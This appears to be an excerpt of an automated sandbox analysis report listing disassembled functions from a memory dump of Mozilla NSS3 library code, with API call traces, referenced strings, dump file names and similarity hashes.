Part of subcall function 6C57BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C57BBEB
Part of subcall function 6C57BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C57BBFB
Part of subcall function 6C57BB80: GetLastError.KERNEL32 ref: 6C57BC03
Part of subcall function 6C57BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C57BC19
Part of subcall function 6C57BB80: free.MOZGLUE(00000000), ref: 6C57BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C6A1193), ref: 6C6A1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C6A1193), ref: 6C6A1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C6A1193), ref: 6C6A1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C6A1193), ref: 6C6A1D1A

Part of subcall function 6C659BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C581A48), ref: 6C659BB3
Part of subcall function 6C659BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C581A48), ref: 6C659BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C6A1193), ref: 6C6A1D3D

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C6A1193), ref: 6C6A1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C6A1193), ref: 6C6A1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C6A1193), ref: 6C6A1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C6A1193), ref: 6C6A1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C6A1193), ref: 6C6A1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C6A1193), ref: 6C6A1D93
PR_DestroyLock.NSS3(00000000,?,?,6C6A1193), ref: 6C6A1D9F
free.MOZGLUE(00000000,?,6C6A1193), ref: 6C6A1DA8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: b78a6bdc95691cca6d9357ef6df5277aefca4445260d640340abf0151f818d5a
Instruction ID: 7d981de7758e03ec7d0287fddb4f2c349ab773448063fd87c362cda52979977e
Opcode Fuzzy Hash: b78a6bdc95691cca6d9357ef6df5277aefca4445260d640340abf0151f818d5a
Instruction Fuzzy Hash: AF31D9F5E017119BEB20AF65AC41A5776F4AF4674CF040439E84A87B41F731EC19CBAA

Function 6C5B5E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5B5ECF
EnterCriticalSection.KERNEL32(?), ref: 6C5B5EE3
PR_Unlock.NSS3(?), ref: 6C5B5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C5B5FB5

Strings

S&]l, xrefs: 6C5B62E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C5B61F4
S&]l, xrefs: 6C5B5E6C, 6C5B627F, 6C5B5F12

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&]l$S&]l
API String ID: 2280678669-3366828645
Opcode ID: 405d4493c4060e2d78fcfbd1c5c519298c9bece9a01d230df6bd65db33a2b991
Instruction ID: 273725ca52e7b78f4a81697a77a42afbe879a2d5fae2bd8ec446a953f957ae94
Opcode Fuzzy Hash: 405d4493c4060e2d78fcfbd1c5c519298c9bece9a01d230df6bd65db33a2b991
Instruction Fuzzy Hash: 4CF104B5A00215CFEB54CF18C890B86BBF4FF49304F5582AAD8089B346E774EA94CF91

Function 6C600C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,`l), ref: 6C600C81

Part of subcall function 6C5EBE30: SECOID_FindOID_Util.NSS3(6C5A311B,00000000,?,6C5A311B,?), ref: 6C5EBE44

Part of subcall function 6C5D8500: SECOID_GetAlgorithmTag_Util.NSS3(6C5D95DC,00000000,00000000,00000000,?,6C5D95DC,00000000,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5D8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C600CC4

Part of subcall function 6C5EFAB0: free.MOZGLUE(?,-00000001,?,?,6C58F673,00000000,00000000), ref: 6C5EFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C600CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C600D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C600D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C600D7D
free.MOZGLUE(00000000), ref: 6C600DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C600DC1
free.MOZGLUE(00000000), ref: 6C600DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C600E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C600E0F

Part of subcall function 6C5D95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5D95E0
Part of subcall function 6C5D95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C5B7F4A,00000000,?,00000000,00000000), ref: 6C5D95F5
Part of subcall function 6C5D95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C5D9609
Part of subcall function 6C5D95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5D961D
Part of subcall function 6C5D95C0: PK11_GetInternalSlot.NSS3 ref: 6C5D970B
Part of subcall function 6C5D95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C5D9756
Part of subcall function 6C5D95C0: PK11_GetIVLength.NSS3(?), ref: 6C5D9767
Part of subcall function 6C5D95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C5D977E
Part of subcall function 6C5D95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5D978E

Strings

-$`l, xrefs: 6C600C64
*,`l, xrefs: 6C600C69, 6C600DE0, 6C600C80, 6C600C8B, 6C600CAF
*,`l, xrefs: 6C600DCC

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,`l$*,`l$-$`l
API String ID: 3136566230-3861137656
Opcode ID: 1a9e911b335c15172d7f4da7738cfe15de731abbf0b7ccd14b6bcb18c64519ad
Instruction ID: a5d1af89ce491a1d7d9b352085615cdc04b98872d3e3c67ebc1bf8a30fdc5bc2
Opcode Fuzzy Hash: 1a9e911b335c15172d7f4da7738cfe15de731abbf0b7ccd14b6bcb18c64519ad
Instruction Fuzzy Hash: 5241F6B1A00246ABEB049F64DD41BEF7AB4EF84308F140124E91567781E731AA54CBF6

Function 6C5F5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C5F5EC0,00000000,?,?), ref: 6C5F5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C5F5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C5F5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C5F5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C5F5EC0,00000000,?,?), ref: 6C5F5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C5F5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C5F5D80

Strings

sql:, xrefs: 6C5F5CD1, 6C5F5D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C5F5D1A
dbm:, xrefs: 6C5F5D03, 6C5F5D60
extern:, xrefs: 6C5F5CEA, 6C5F5D4B
multiaccess:, xrefs: 6C5F5CB8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 0bc31946d38654c18bbea532e8cce9fc333ec2af16471f57033dcb5908fb35cb
Instruction ID: f5b4da36c47b25d28fb701e025e546407f3215b2c2fa924c8c489791b26ddf47
Opcode Fuzzy Hash: 0bc31946d38654c18bbea532e8cce9fc333ec2af16471f57033dcb5908fb35cb
Instruction Fuzzy Hash: A4315EB07033016BF7542A25CC8CB263768AF02348F544831ED76D6685E771E603CEB9

Function 6C5F6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C6C1DE0,?), ref: 6C5F6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C5F6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C5F6D82
DER_GetInteger_Util.NSS3(?), ref: 6C5F6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5F6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C5F6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C5F6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C5F6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C5F6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5F7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C5F7033
free.MOZGLUE(?), ref: 6C5F703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C5F7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C5F7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C5F70AF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 52fe3812dca8713b5a917dafa23f9151178b4edb13398926ab7b91ccb148715b
Instruction ID: 08991d81dbfe80c8fcb938949515372c73e9e1128c4ea2c49a2941122db4949a
Opcode Fuzzy Hash: 52fe3812dca8713b5a917dafa23f9151178b4edb13398926ab7b91ccb148715b
Instruction Fuzzy Hash: B2A1F6729183009BFB089F24DC91B6B32A5DB8131CF244939E979CBA85EF75D8468F53

Function 6C5BAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C59AB95,00000000,?,00000000,00000000,00000000), ref: 6C5BAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C59AB95,00000000,?,00000000,00000000,00000000), ref: 6C5BAF39
PR_Unlock.NSS3(?,?,?,6C59AB95,00000000,?,00000000,00000000,00000000), ref: 6C5BAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C59AB95,00000000,?,00000000,00000000,00000000), ref: 6C5BAF69
TlsGetValue.KERNEL32 ref: 6C5BB06B
EnterCriticalSection.KERNEL32(?), ref: 6C5BB083
PR_Unlock.NSS3(?), ref: 6C5BB0A4
TlsGetValue.KERNEL32 ref: 6C5BB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C5BB0D9
PR_Unlock.NSS3 ref: 6C5BB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5BB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5BB182

Part of subcall function 6C5EFAB0: free.MOZGLUE(?,-00000001,?,?,6C58F673,00000000,00000000), ref: 6C5EFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C5BB177

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C59AB95,00000000,?,00000000,00000000,00000000), ref: 6C5BB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C59AB95,00000000,?,00000000,00000000,00000000), ref: 6C5BB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C59AB95,00000000,?,00000000,00000000,00000000), ref: 6C5BB1C2

Part of subcall function 6C5E1560: TlsGetValue.KERNEL32(00000000,?,6C5B0844,?), ref: 6C5E157A
Part of subcall function 6C5E1560: EnterCriticalSection.KERNEL32(?,?,?,6C5B0844,?), ref: 6C5E158F
Part of subcall function 6C5E1560: PR_Unlock.NSS3(?,?,?,?,6C5B0844,?), ref: 6C5E15B2

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 58dc7eaacb672de0a89220949d7863eb032b07399617992790b847806ab4f792
Instruction ID: 7096c49d4e00faa4894a9c94b6ee8cfbc35462c0639fa00c0a00afc4b1725028
Opcode Fuzzy Hash: 58dc7eaacb672de0a89220949d7863eb032b07399617992790b847806ab4f792
Instruction Fuzzy Hash: F5A1D2B5D00205EFEF00AFA5DC81AEE7BB4EF49308F144125E809A7751EB31E955CBA5

Function 6C5B2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?[l,?,6C5AE477,?,?,?,00000001,00000000,?,?,6C5B3F23,?), ref: 6C5B2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C5AE477,?,?,?,00000001,00000000,?,?,6C5B3F23,?), ref: 6C5B2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C5AE477,?,?,?,00000001,00000000,?,?,6C5B3F23,?), ref: 6C5B2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C5AE477,?,?,?,00000001,00000000,?,?,6C5B3F23,?), ref: 6C5B2C93

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C5AE477,?,?,?,00000001,00000000,?,?,6C5B3F23,?), ref: 6C5B2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C5AE477,?,?,?,00000001,00000000,?,?,6C5B3F23,?), ref: 6C5B2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C5AE477,?,?,?,00000001,00000000,?,?,6C5B3F23), ref: 6C5B2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C5AE477,?,?,?,00000001,00000000,?), ref: 6C5B2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C5AE477,?,?,?,00000001,00000000,?), ref: 6C5B2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C5B2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C5B2D71
PR_Unlock.NSS3(?), ref: 6C5B2D7E

Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807AD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807CD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807D6
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C51204A), ref: 6C5807E4
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,6C51204A), ref: 6C580864
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C580880
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,6C51204A), ref: 6C5808CB
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808D7
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808FB

Strings

#?[l, xrefs: 6C5B2C43

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?[l
API String ID: 2446853827-2713703565
Opcode ID: 78802f60bad8647a9b6b0f57319ab956a8b8d9f6853b15b50755c299d7a95f19
Instruction ID: 85cba3fe74cbbed750fdd311925e4c0b17e64c6084f051979ecbdc0ef19de540
Opcode Fuzzy Hash: 78802f60bad8647a9b6b0f57319ab956a8b8d9f6853b15b50755c299d7a95f19
Instruction Fuzzy Hash: EE51E4B6D00214AFDB00AF25EC858AA7B78BF19258F048521EC19A7B11E731ED65CBE1

Function 6C60AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60ADB1

Part of subcall function 6C5EBE30: SECOID_FindOID_Util.NSS3(6C5A311B,00000000,?,6C5A311B,?), ref: 6C5EBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C60ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C60AE08

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C60AE25
PL_FreeArenaPool.NSS3 ref: 6C60AE63
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C60AE4D

Part of subcall function 6C514C70: TlsGetValue.KERNEL32(?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514C97
Part of subcall function 6C514C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CB0
Part of subcall function 6C514C70: PR_Unlock.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60AE93
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C60AECC
PL_FreeArenaPool.NSS3 ref: 6C60AEDE
PL_FinishArenaPool.NSS3 ref: 6C60AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60AEF5
PL_FinishArenaPool.NSS3 ref: 6C60AF16

Strings

security, xrefs: 6C60ADEE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 4b63546a16419c318d694eeaf946b55600a9bc64b84fb39575ed6af387bd5cf6
Instruction ID: 8e4b31cb855e16880dee033016396fe5a371e4984be812421915a7290f55ab8c
Opcode Fuzzy Hash: 4b63546a16419c318d694eeaf946b55600a9bc64b84fb39575ed6af387bd5cf6
Instruction Fuzzy Hash: 12413DB1A04300A7E7149B159D45BEB33A49F8234CF100625E914A2F42FB35991ACBDF

Function 6C6AAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659890: TlsGetValue.KERNEL32(?,?,?,6C6597EB), ref: 6C65989E

EnterCriticalSection.KERNEL32(?), ref: 6C6AAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C6AAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C6AAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C6AAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C6AB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C6AB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C6AB070
PR_JoinThread.NSS3(?), ref: 6C6AB07B
free.MOZGLUE(?), ref: 6C6AB084
EnterCriticalSection.KERNEL32(?), ref: 6C6AB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C6AB0C4
PR_JoinThread.NSS3(?), ref: 6C6AB0F3
free.MOZGLUE(?), ref: 6C6AB0FC
PR_JoinThread.NSS3(?), ref: 6C6AB137
free.MOZGLUE(?), ref: 6C6AB140

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 10c32c1b61a7cca06df70657ab7cc9b0f5edaa52329ee4c14fd42de750de47c0
Instruction ID: 4d9de7667488fd4b76009ee827120513d57564a196a7a31f65b73b9375709614
Opcode Fuzzy Hash: 10c32c1b61a7cca06df70657ab7cc9b0f5edaa52329ee4c14fd42de750de47c0
Instruction Fuzzy Hash: 83914CB5900605DFCB04DF15D88084ABBF1FF8A3187298569D8195BB22E732FC56CF99

Function 6C625CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C622BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C622A28,00000060,00000001), ref: 6C622BF0
Part of subcall function 6C622BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C622A28,00000060,00000001), ref: 6C622C07
Part of subcall function 6C622BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C622A28,00000060,00000001), ref: 6C622C1E
Part of subcall function 6C622BE0: free.MOZGLUE(?,00000000,00000000,?,6C622A28,00000060,00000001), ref: 6C622C4A

